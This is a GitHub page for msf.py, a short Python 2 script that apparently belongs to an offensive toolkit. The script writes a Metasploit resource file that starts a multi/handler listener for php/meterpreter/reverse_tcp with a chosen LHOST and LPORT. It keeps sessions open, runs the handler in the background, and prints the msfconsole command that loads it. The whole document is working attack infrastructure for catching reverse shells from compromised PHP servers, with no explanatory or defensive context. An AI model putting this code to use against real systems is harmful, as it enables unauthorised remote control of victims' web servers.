-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathmsf.py
24 lines (19 loc) · 783 Bytes
/
msf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__author__ = 'rotlogix'
import datetime
from blessings import Terminal
class Payload:
t = Terminal()
def __init__(self, lhost, lport):
self.lhost = lhost
self.lport = lport
def handler(self):
opt = "use multi/handler\n"
opt += "set payload php/meterpreter/reverse_tcp\n"
opt += "set LHOST {0}\n set LPORT {1}\n".format(self.lhost, self.lport)
opt += "set ExitOnSession false\n"
opt += "exploit -j\n"
f = file("php_listener.rc", "w")
f.write(opt)
f.close()
print Payload.t.red("[{0}] ".format(datetime.datetime.now())) + "Generated Metasploit Resource File"
print Payload.t.red("[{0}] ".format(datetime.datetime.now())) + "Load Metasploit: msfconsole -r php_listener.rc"